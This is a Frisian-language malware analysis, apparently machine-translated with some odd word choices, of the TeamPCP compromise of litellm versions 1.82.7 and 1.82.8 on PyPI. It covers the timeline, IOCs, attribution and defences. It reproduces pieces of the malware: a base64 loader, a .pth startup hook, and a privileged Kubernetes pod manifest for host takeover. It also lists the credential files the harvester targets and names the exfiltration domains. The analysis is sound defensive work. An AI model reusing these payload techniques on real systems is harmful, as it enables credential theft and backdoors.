Wêrom dit Matters
Op 24 maart 2026, it populêre Python-pakket litellm, in universele LLM proxy gateway dy't brûkt wurdt troch tûzenen fan enterprises om ferkear te rûtearjen tusken applikaasjes en AI-oanbieders lykas OpenAI, Anthropic, Google, en AWS Bedrock, waard stilswijend kompromittearre op PyPI. Twa fergiftige ferzjes (1.82.7 en 1.82.8) waarden binnen 13 minuten fan elkoar publisearre, mei in mearfase lading dy't ynloggegevens stellen, wolkgeheimen eksfiltrearre, lateraal ferspraat oer Kubernetes-klusters, en in persistinte efterdoar ynstalleare mei mooglikheden foar it útfieren fan koade op ôfstân.
Mei ûngefear 3.6 miljoen deistige downloads en djippe ynset oer cloud-native AI-ynfrastruktuer, sit litellm op it krúspunt fan alles wat moderne oanfallers begeare: API-kaaien foar elke grutte AI-provider, cloud IAM-gegevens, Kubernetes-geheimen en SSH-kaaien.
Mar it lytse kompromis wie gjin isolearre barren. It wie de kulminaasje fan in fiif dagen, fiif-ekosysteem kampanje troch in bedrigingsakteur bekend as TeamPCP, in kampanje dy't earst befeiligingsscanners fergiftige (Aqua Trivy, Checkmarx KICS), en doe de stellen brûkte CI/CD ynloggegevens om streamôfwerts te kaskadearjen nei npm, OpenVSX, en úteinlik PyPI. De oanfallers bewapenen de ark wêrop organisaasjes fertrouwe om har supply chains te beskermjen.
Dizze oanfal fertsjintwurdiget in stapferoaring yn 'e ferfining fan bedrigingen yn 'e supply chain. It multi-hop, cross-ecosysteem-ûntwerp, kompromittearret feiligensark om hege wearde te berikken. AI-ynfrastruktuer, reflektearret in nivo fan planning en operasjonele folwoeksenheid dy't oerienkomt mei hieltyd mear kommoditisearre oanfalstools. De payloads waarden yn realtime iterearre (trije payloadfarianten ferskine yn 'e boarnekoade, ynklusyf útkommentearre eardere ferzjes), de C2-ynfrastruktuer waard de dei foar de oanfal registrearre, en de eksfiltraasjedomeinen waarden soarchfâldich keazen om legitime leveransierynfrastruktuer te imitearjen. De systematysk wiidweidige credential harvester, dy't mear as 15 kategoryen beslacht, ynklusyf niche-doelen lykas Cardano-ûndertekeningsleutels en WireGuard-konfiguraasjes, suggerearret in mjitte fan yngeande wurking dy't wiist nei AI-assistearre malware-ûntwikkeling as in krêftmultiplikator.
Timeline
| Datum (UTC) | Barren |
|---|---|
| maart 19 | TeamPCP kompromittearret Aqua Trivy GitHub Action-tags, en ferfangt se mei kweade koade dy't útfiltrearret CI/CD geheimen fan downstream-repositories |
| maart 21 | Kompromis wreidet him út nei Checkmarx KICS en AST GitHub Actions mei ferlykbere techniken. |
| 22 maart, 06:35 | BerriAI publisearret litellm 1.82.6 (lêste skjinne ferzje) fia normaal CI/CD pipeline dat Trivy brûkt foar befeiligingsscannen |
| maart 23 | TeamPCP registrearret models.litellm.cloud (eksfiltraasjedomein). Kompromittearret 66+ npm-pakketten en OpenVSX-útwreidings |
| 24 maart, 10:39 | litellm 1.82.7 publisearre nei PyPI -- lading ynjektearre yn proxy_server.py by module-berik. Útfiert by ymport |
| 24 maart, 10:52 | litellm 1.82.8 publisearre 13 minuten letter -- foeget ta litellm_init.pth, in Python-paadkonfiguraasjehook dy't útfierd wurdt by elke opstart fan in Python-ynterpreter, net allinich by ymporten fan Litellm. Toant rappe iteraasje fan payloads. |
| 24 maart, ~16:00 | PyPI ferwideret beide ferzjes nei mienskipsrapporten. Ferzjes wurde folslein wiske (net útlutsen) út 'e yndeks, hoewol CDN-tarballs tagonklik bliuwe. |
Bleatstellingsfinster: sawat 5.5 oeren. Yn dizze tiid, elke pip install litellm, pip install --upgrade litellm, of CI/CD pipeline it lûken fan 'e lêste ferzje soe de lading útfierd hawwe.
Hoe't de malware deryn kaam: It cascadearjende kompromis
It litellm-pakket waard net direkt skeind. De oanfaller berikte it fia in twa-hop supply chain oanfal:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline brûkte Trivy as befeiligingsscanner - it ark dat ûntworpen wie om kwetsberheden te fangen wie sels de oanfalsfektor. Omdat de pipeline ferwiisde nei Trivy troch in mutearbere tag ynstee fan in fêstmakke tag commit SHA, de kompromittearre aksje rûn automatysk. De kweade Trivy-aksje hat omjouwingsgeheimen ferovere, ynklusyf de PYPI_PUBLISH token, wêrtroch TeamPCP direkte publikaasjetagong krijt ta it litellm PyPI-projekt.
Dizze strategy fan "kompromitearje de bewakers" is in skaaimerk fan 'e TeamPCP-kampanje. Troch earst befeiligingsark te rjochtsjen (Trivy, Checkmarx KICS), hawwe de oanfallers tagelyk deteksje útskeakele en privilegearre tagong krigen ta downstream-supply chains.
Technyske analyze: De lading
Ynjeksjepunten
Ferzje 1.82.7 — Útfiering op modulenivo yn litellm/proxy/proxy_server.py (regel 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Dizze koade sit yn module-berik tusken in wurdboekliteraal en it orizjineel showwarning() funksje. It wurdt fuortendaliks útfierd as litellm.proxy.proxy_server wurdt ymportearre - wat bart by elk gebrûk fan 'e proxy-funksjonaliteit fan litellm.
Ferzje 1.82.8 - Taheakke litellm_init.pth (Python-paadkonfiguraasjetriem):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth bestannen yn site-packages/ wurde ferwurke by elke opstart fan 'e interpreter, mar allinich rigels dy't begjinne mei import wurde útfierd as koade. De oanfaller misbrûkt dit troch de hiele lading oan ien te keatlingjen import ferklearring: import os, subprocess, sys; subprocess.Popen(...)Dit is folle agressiver as de proxy_server.py-ynjeksje - it wurdt aktivearre sels as litellm nea ymportearre wurdt, by elke Python-prosesstart. pyproject.toml waard oanpast om dit bestân yn 'e distribúsje op te nimmen:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Ferzje 1.82.8 hat dus twa ûnôfhinklike útfieringspaden: de proxy_server.py-ynjeksje (aktivearret by ymport fan litellm-proxy) en it .pth-bestân (aktivearret by elke Python-opstart). De redundânsje is sels opmerklik - it beskermet tsjin deteksje of ferwidering fan ien fan beide paden allinich. De eskalaasje fan ymporttiid nei opstarttiidútfiering mar 13 minuten nei 1.82.7 suggerearret dat de oanfaller it súkses fan 'e ynset kontrolearre en rap iterearre.
Fase 1: Wiidweidige ynventarisaasje fan kwalifikaasjes
It dekodearre ynderlike skript is in sekuer fakuüm fan kwalifikaasjes. It brûkt os.walk(), glob.glob(), subprocess.check_output(), en direkte triemlêzingen om it heule systeem te scannen:
| Kategory | doelen |
|---|---|
| Systeemferkenning | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; hostkaaien fan /etc/ssh/ |
| Wolk (AWS) | ~/.aws/credentials, ~/.aws/config; IMDS-rolgegevens fia 169.254.169.254; Geheimbehearder ListSecrets; SSM DescribeParameters |
| Wolk (GCP) | ~/.config/gcloud/ (rekursyf); $GOOGLE_APPLICATION_CREDENTIALS |
| Wolk (Azure) | ~/.azure/ (rekursyf); omjouwingsfariabelen |
| Kubernetes | Tsjinstakkounttokens; ca.crt; nammeromte; kubectl get secrets --all-namespacesalle geheimen fia K8s API |
| Omjouwingsbestannen | .env, .env.local, .env.production, .env.development, .env.staging — rekursyf trochsocht (djipte 6) oer /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Havenarbeider | ~/.docker/config.json, /kaniko/.docker/config.json |
| Pakkettokens | ~/.npmrc, ~/.vault-token, ~/.netrc |
| databases | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB-konfiguraasjes |
| TLS / SSL | Privee kaaien fan /etc/ssl/private/, Litte wy sertifikaten fersiferje, allegear .pem/.key/.p12/.pfx bestannen |
| gean | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Krypto-munten | Bitcoin, Ethereum keystore, Solana keypairs (validator, stim, stake, faucet), Cardano ûndertekeningskaaien, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Shell-skiednis | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Systeemachtiging | /etc/passwd, /etc/shadow, autorisaasjelogs (akseptearre SSH-sesjes) |
| Webhook/API-kaaien | Grep foar Slack webhooks, Discord-websidehooks, API-kaaien/geheimen yn konfiguraasjebestannen |
| VPN | WireGuard-konfiguraasjes fan /etc/wireguard/ |
It berik fan dizze harvester is ensyklopedysk. It rjochtet him net allinich op wolkgegevens, mar ek op krypto-wallets, databasewachtwurden, VPN-konfiguraasjes, en CI/CD geheimen - wat suggerearret dat de oanfaller fan doel is om kompromittearre systemen oer meardere fektoren te monetarisearjen.
Fase 2: Fersifere eksfiltraasje
Stellen gegevens wurde fersifere en eksfiltrearre mei in hybride fersiferingsskema:
- AES-256-CBC fersifering fan alle sammele gegevens mei in willekeurige sesjesleutel fan 32 bytes (fia
openssl enc) - RSA-4096 fersifering fan 'e sesjekaai mei de ynbêde iepenbiere kaai fan 'e oanfaller (OAEP-padding, fia
openssl pkeyutl) - Beide fersifere tekstbestannen bondele as
tpcp.tar.gz(detpcpfoarheaksel — “TeamPCP” — ferskynt konsekwint yn 'e hiele kampanje) - HTTPS POST nei
https://models.litellm.cloud/meiContent-Type: application/octet-stream
It domein models.litellm.cloud waard registrearre op 23 maart - ien dei foar de oanfal - en is ûntworpen om te mingjen mei legitime litellm-ynfrastruktuer (it echte projekt brûkt litellm.aiSels in netwurkbewuste ferdigener dy't útgeand ferkear beoardielet, markearret miskien gjin ferkear nei wat liket op it eigen model-eindpunt fan Litellm.
Fase 3: Oanhâldende efterdoar (sysmon.py)
De payload ynstallearret in polling-efterdoar ferklaaid as systeemtelemetry:
- Paad:
~/.config/sysmon/sysmon.py - Betsjinning:
sysmon.service(systemd brûkersienheid, omskreaun as "Systeem Telemetry Service") - Hâlden en dragenNei in earste sliep fan 300 sekonden, enkêtes
https://checkmarx.zone/rawelke ~50 minuten - EksekúsjeDownloadt de URL dy't troch de C2 weromjûn wurdt nei
/tmp/pglog, stelt it útfierber yn (chmod 755), fiert it út yn in loskeppele sesje - Steatfolging:
/tmp/.pg_statefoarkomt it opnij downloaden fan deselde lading - Persistence:
Restart=always,RestartSec=10- oerlibet crashes en opnij opstarten
It domein checkmarx.zone is in typosquat fan Checkmarx (it befeiligingsbedriuw by checkmarx.com), ûntworpen sadat SOC-analysten dy't netwurklogs besjogge, ferkear soene sjen nei wat in legitime befeiligingsleveransier liket te wêzen. Dit is in bewuste ûntwykingstechnyk dy't oerienkomt mei de bredere strategy fan TeamPCP om har te ferbergjen efter branding fan befeiligingsleveransiers.
Fase 3b: Laterale Beweging fan Kubernetes
As it kompromittearre systeem Kubernetes-tsjinstakkountgegevens hat, dan telt de malware alle klusterknooppunten op en set it yn. privilegearre pods oan elk ien:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Elke pod:
- Rint as befoarrjochte mei
hostPID,hostNetwork, en folsleine tagong ta it host-bestânsysteem - uses
chroot /hostitselde te ynstallearjensysmon.pyefterdoar op it root-bestânsysteem fan 'e host - Registrearret it as in systemd-tsjinst, sadat persistinsje it wiskjen fan pods oerlibet
- neamd
node-setup-*yn dekube-systemnammeromte om te ferskinen as legitime klusterynfrastruktuer
Dit betsjut a ienling kompromittearre CI/CD runner mei K8s tagong kin derta liede dat elke node yn it kluster efterdoarre wurdt — in katastrofaal lateraal bewegingsscenario foar organisaasjes dy't litellm as proxy yn Kubernetes útfiere.
Evolúsje fan payload (útkommentearre farianten)
De boarnekoade op rigels 131-132 befettet twa útkommentearre eardere payloadfarianten, dy't it ûntwikkelingsproses fan 'e oanfaller iepenbierje:
- Alle trije farianten diele deselde útfiltraasje-ynfrastruktuer (
models.litellm.cloud), RSA-4096 iepenbiere kaai, AES-256-CBC + RSA hybride fersiferingswrapper, entpcp.tar.gzbondelnammejouwing - Eardere farianten tafoege in RC4-fersiferingslaach binnen it gegevensferzamelingsskript, wêrby't de sammele gegevens fersifere wurde foar de bûtenste AES+RSA-wrapper. De aktive lading (regel 130) waard ferienfâldige troch dizze binnenste RC4-laach te ferwiderjen
- De eardere farianten brûke
exec()meiStringIOcapture om de samler yn proses út te fieren, wylst de aktive lading brûktsubprocess.run()mei stdout trochferwizing - in skjinne skieding dy't it fersmoargjen fan it hostproses foarkomt - Alle trije farianten rjochtsje har op deselde kwalifikaasjekategoryen en sammelpaden
- De RC4-kaai yn 'e eardere farianten wie in provosearjende belediging, yn oerienstimming mei it oandachtssykjende gedrach fan 'e akteur op Telegram.
Dit lit aktive ûntwikkeling sjen tidens de operaasje. De oanfaller ferienfâldige de fersiferingsstapel en ferbettere de útfieringsisolaasje, wylst de sammeldoelen en de eksfiltraasje-ynfrastruktuer stabyl bleaunen.
Yndikatoaren fan Kompromis (IOC's)
netwurk
| indicator | Type | doel |
|---|---|---|
models.litellm.cloud | domein | Exfiltration endpoint (HTTPS POST) |
checkmarx.zone | domein | C2 polling-eindpunt (HTTPS GET /raw) |
Opmerking: Keppelings foar eksterne rapportaazjes checkmarx.zone/static/checkmarx-util-1.0.4.tgz nei de eardere KICS-faze fan 'e TeamPCP-kampanje. Dizze URL waard net fûn yn 'e hjir analysearre litellm-payloads.
Pakket Hashes
| file | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Bestânssysteem
| indicator | Type | doel |
|---|---|---|
~/.config/sysmon/sysmon.py | file | Oanhâldend efterdoarskript |
~/.config/systemd/user/sysmon.service | file | Systemd persistinsje-ienheid |
/tmp/pglog | file | Ynladen binêr fan twadde faze |
/tmp/.pg_state | file | C2-steatfolging |
litellm_init.pth in site-packages/ | file | Python opstarthook (allinich v1.82.8) |
tpcp.tar.gz | file | Fersifere eksfiltraasjebundel |
Kubernetes
| indicator | Type | doel |
|---|---|---|
node-setup-* peulen yn kube-system | Pod | Privilegearre laterale bewegingspods |
sysmon.service op klusterknooppunten | Betsjinning | Persistinsje op hostnivo fia pod-ûntsnapping |
Kryptografysk
| indicator | Details |
|---|---|
| Oanfaller RSA-4096 iepenbiere kaai | SHA256 fingerprint: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ynbêde yn alle trije payloadfarianten; deselde kaai rapportearre foar oare TeamPCP-operaasjes |
tpcp foarheaksel yn artefakten | Konvinsje foar it neamen fan bondels (tpcp.tar.gz) konsekwint yn 'e heule kampanje |
Attribúsje: TeamPCP
De bedrigingsakteur efter dizze kampanje wurdt folge as TeamPCP, ek wol bekend as PCPcat, Persy_PCP, ShellForce, en DeadCatx3.
Bekende skaaimerken:
- Ûnderhâldt Telegram-kanalen op
@Persy_PCPen@teampcpdêr't se befeiligingsbedriuwen bespotten - Wurket oer meardere ekosystemen (GitHub Actions, PyPI, npm, OpenVSX)
- Brûkt leveransierspesifike typosquat-domeinen foar elke faze fan 'e kampanje (bygelyks,
checkmarx.zonefoar Checkmarx,models.litellm.cloudfoar litellm) - Konsekwinte ynfrastruktuermarkers: itselde RSA-kaaipear,
tpcp.tar.gznammejouwingskonvinsje,tpcp-docs-*GitHub-repositories brûkt as dead-drop-staging - Rjochtet him op befeiligingsark as yngongspunten foar downstream-supply chains
AttribúsjebetrouwenHeech. De dielde RSA iepenbiere kaai, tpcp artefaktnammejouwing, oerlaap fan C2-ynfrastruktuer en operasjoneel tempo oer de fiifdagen kampanje keppele de Trivy-, KICS-, npm-, OpenVSX- en litellm-kompromissen sterk oan deselde akteur.
MotivaasjeWierskynlik finansjeel (diefstal fan krypto-wallets, monetarisaasje fan cloud-referinsjes) kombineare mei bekendheid (Telegram-bespotting). De breedte fan it rispjen fan referinsjes - fan AWS IAM oant Solana-validator-kaaipearen oant WireGuard-konfiguraasjes - suggerearret in finansjeel motivearre akteur dy't besiket de ROI fan elke kompromis te maksimalisearjen.
Mooglike AI-assistinsjeDe credential harvester is systematysk wiidweidich - 15+ kategoryen ynklusyf niche-doelen lykas Cardano-ûndertekeningskaaien, WireGuard-konfiguraasjes en Kaniko Docker-gegevens - op in manier dy't oerienkomt mei AI-stipe enumeraasje. De snelheid fan payload-iteraasje (trije farianten mei ferskillende fersiferingsskema's), cross-ecosystem-koördinaasje (5 ekosystemen yn 5 dagen), en operasjonele OPSEC (domeinen dy't harsels as leveransier imitearje, hybride fersifering, systemd-persistinsje ferklaaid as telemetrie) suggerearje in nivo fan trochfier dat AI-stipe ûntwikkeling as in krêftmultiplikator kin reflektearje. Dizze beoardieling is spekulatyf; betûfte operators koenen in ferlykbere omfang berikke sûnder AI-ark.
Nije TTP's en techniken
1. Fergiftiging fan 'e oanfierketen fan befeiligingsark (fariant T1195.002)
It kompromittearjen fan befeiligingsscanners (Trivy, KICS) as in earste stap om downstream-doelen te berikken is in nije eskalaasje. De oanfaller hat net allinich in bibleteek kompromittearre - se hawwe de ark dy't organisaasjes brûke kompromittearre om... ûntdekke kompromittearre bibleteken. Dit skept in bline flek: de scanner dy't de kweade koade fange moat, is sels it leveringsmeganisme.
2 Python .pth Bestânspersistinsje (T1546)
De litellm_init.pth technyk yn v1.82.8 is benammen ferrifeljend. Python .pth bestannen yn site-packages/ wurde ferwurke by elke opstart fan 'e interpreter; elke rigel dy't begjint mei import wurdt útfierd as koade. Troch de lading oan ien te keatlingjen import útspraak, berikt de oanfaller útfiering op elk Python-proses - net allinich as litellm ymportearre wurdt. Dit betsjut dat de lading wurdt aktivearre sels as litellm ynstalleare is mar nea brûkt wurdt, en it oerlibet remediaasje dy't kompromittearre ferfangt .py triemmen sûnder te kontrolearjen .pth triemmen.
3. Kubernetes Cluster-Wide Laterale Beweging fia Privileged Pod Deployment (T1610, T1611)
De automatisearre oanmeitsjen fan privilegearre pods op elke klusterknoop - mei hostPID, hostNetwork, host-bestânsysteemmount, en chroot om persistinsje te ynstallearjen - keatlinget kontenerynset (T1610) mei escape nei host (T1611) om in inkele kompromittearre workload te feroarjen yn in folsleine klusterkompromittaasje.
4. C2-ynfrastruktuer dy't him foardoet as leveransier
Mei help fan models.litellm.cloud (imitearret litellm) en checkmarx.zone (imitearret Checkmarx) as C2/exfil-eindpunten is ûntworpen om netwurkmonitoring te ûntkommen. SOC-analysten dy't útgeand ferkear kontrolearje, soene HTTPS-ferbiningen sjen nei wat lykje op legitime leveransierdomeinen.
5. Snelle iteraasje fan lading yn 'e flecht
Publisearjen fan v1.82.7 mei útfiering op ymporttiid, en dêrnei v1.82.8 mei útfiering op opstarttiid 13 minuten letter, lit sjen dat de oanfaller yn realtime kontrolearret en oanpast. De útkommentearre payloadfarianten (mei ferskillende fersiferingsskema's) dy't yn 'e boarnekoade bewarre binne, befêstigje aktive ûntwikkeling tidens de operaasje.
Wat kin dien wurde
Dizze oanfal misbrûkt fertrouwen op elke laach: fertrouwen yn befeiligingsark, fertrouwen yn pakketregisters, fertrouwen yn fertroud útsjende domeinen, fertrouwen yn CI/CD automatisearring. Om jo der tsjin te ferdigenjen, moatte jo elk fan dizze fertrouwensgrinzen ferhurdzje:
Foar pakketkonsuminten
- Pin ôfhinklikheden fêst op hash, net allinich ferzje.
pip install litellm==1.82.6 --hash=sha256:...soe foarkommen hawwe dat de kompromittearre ferzjes ynstalleare waarden, sels as se koart as de lêste ferzje ferskynden. - Brûk lockfiles.
pip-compile,poetry.lock, enuv.lockkrekte ferzjes en hashes fêstlizze. CI/CD moat ynstallearje fanút lockfiles, net fan driuwende ferzjespesifikatoaren. - Monitor foar
.pthtriemmen. Regelmjittich kontrolearjesite-packages/foar ûnferwachte.pthbestannen - se wurde útfierd by elke Python-opstart en binne in ûnderskatte persistinsjemeganisme. - Implementearje útgongsnetwurkkontrôles. De útfiltraasje nei
models.litellm.clouden C2-polljen neicheckmarx.zonekoe fongen wêze troch útgongsfiltering basearre op tastimmingslisten yn produksjeomjouwings.
Foar pakketbehearders
- pin CI/CD aksjes troch commit SHA, gjin tag. LiteLLM's pipeline brûkte Trivy sûnder in fêstmakke ferzje. As it ferwiisd hie
aquasecurity/trivy-action@<commit-sha>yn plak fan@latest, soe de kompromittearre aksje net útfierd wêze. - Brûk koartlibbene, beheinde publikaasjetokens. PyPI stipet Trusted Publishers (OIDC-basearre) en scoped API-tokens. De eksfiltrearre
PYPI_PUBLISHtoken soe gjin langduorjende, ûnbeheinde publikaasjetagong hawwe moatten. - Skeakelje twa-faktor autentikaasje yn op PyPI. Fereaskje 2FA foar alle ûnderhâlders en brûk hardwarefeiligenssleutels wêr mooglik.
- Pakketten ûndertekenje. Sigstore/PEP 740-attestaasjes meitsje it mooglik foar konsuminten om te ferifiearjen dat in pakket boud is neffens de ferwachte easken. CI/CD pipeline, net troch in oanfaller mei in stellen token.
Foar platfoarmoperators (PyPI, npm, GitHub)
- Detektearje anomale publikaasjepatroanen. Twa nije ferzjes dy't 13 minuten útinoar publisearre binne, fan in oar IP-adres of token as gewoanlik, moatte in 'hold-for-review' of automatysk scannen triggerje foardat it pakket ynstallearber wurdt.
- Versnel de oannimmen fan Trusted Publishers. OIDC-basearre publikaasjes ferbine pakketten mei spesifike repositories en workflows, wêrtroch stellen tokens nutteloos binne bûten it orizjineel. CI/CD kontekst.
- Implementearje malware-scanning by publikaasje. De base64-dekodearre lading yn proxy_server.py soe op it momint fan publikaasje detektearber wêze troch statyske analyze.
Foar it ekosysteem
- Behannelje befeiligingsark as krityske ynfrastruktuer. Trivy en Checkmarx KICS wurde brûkt troch miljoenen pipelines. Harren GitHub-aksjes moatte mei deselde strangens ûndertekene, fêstmakke en kontroleare wurde as de pakketten dy't se scannen.
- Ynvestearje yn runtime-deteksje. Statyske analyze allinnich kin net elke obfuskaasjetechnyk fange. Runtime monitoring fan pakketynstallaasje hooks, ûnferwachte netwurkferbiningen en fertochte bestânstagongspatroanen biedt djipgeande ferdigening.
- Diel bedrigingsynformaasje rapper. It bleatstellingsfinster fan 5.5 oeren foar litellm koe koarter west hawwe mei fluggere koördinaasje tusken leveransiers. Automatisearre scantsjinsten lykas Xygeni MEW, Socket en Snyk hawwe de anomalie ûntdutsen - de knelpunt is minsklike befêstiging en registerreaksjetiid.
Konklúzje
De TeamPCP-kampanje is in kearpunt foar software supply chain securityTroch earst befeiligingsscanners te kompromittearjen en se te brûken as stapstiennen nei weardefolle AI-ynfrastruktuer, hawwe de oanfallers oantoand dat de supply chain mar sa sterk is as syn swakste transitive ôfhinklikens, en dat dy ôfhinklikens miskien it befeiligingsynstrumint is dat jo fertrouwe om jo feilich te hâlden.
It litellm-kompromis markearret spesifyk it groeiende risiko foar AI-ynfrastruktuer. Om't LLM-proxy-gateways de ... wurde standard patroan foar enterprise Mei AI-ynset konsintrearje se tagong ta API-kaaien, wolkgegevens en gefoelige gegevens yn ien komponint. It kompromittearjen fan dy komponint is in skeletkaai foar de heule AI-stack.
Organisaasjes dy't litellm 1.82.7 of 1.82.8 ynstalleare hawwe binnen it finster fan 5.5 oeren moatte dit behannelje as in folsleine kompromis mei de ynloggegevens: rotearje alle geheimen op troffen systemen, kontrolearje Kubernetes-klusters foar node-setup-* peulen yn kube-system, ferwiderje alle sysmon.service systemd-ienheden, en kontrolearje op litellm_init.pth yn Python site-packages/ mappen. Brûkers fan 'e offisjele Docker-ôfbylding (ghcr.io/berriai/litellm) waarden net beynfloede, om't de ôfbylding syn ôfhinklikheden fêstmakke en net opnij boud waard tidens it bleatstellingsfinster.
Oer de Skriuwer
Mei-oprjochter & CTO
Luis Rodriguez is mei-oprjochter en CTO by Xygeni Security. Mei mear as 20 jier ûnderfining yn applikaasjefeiligens rjochtet hy him op AppSec-beskerming en avansearre koade-analysemooglikheden dy't teams helpe om it echte leveringsrisiko te ferminderjen.




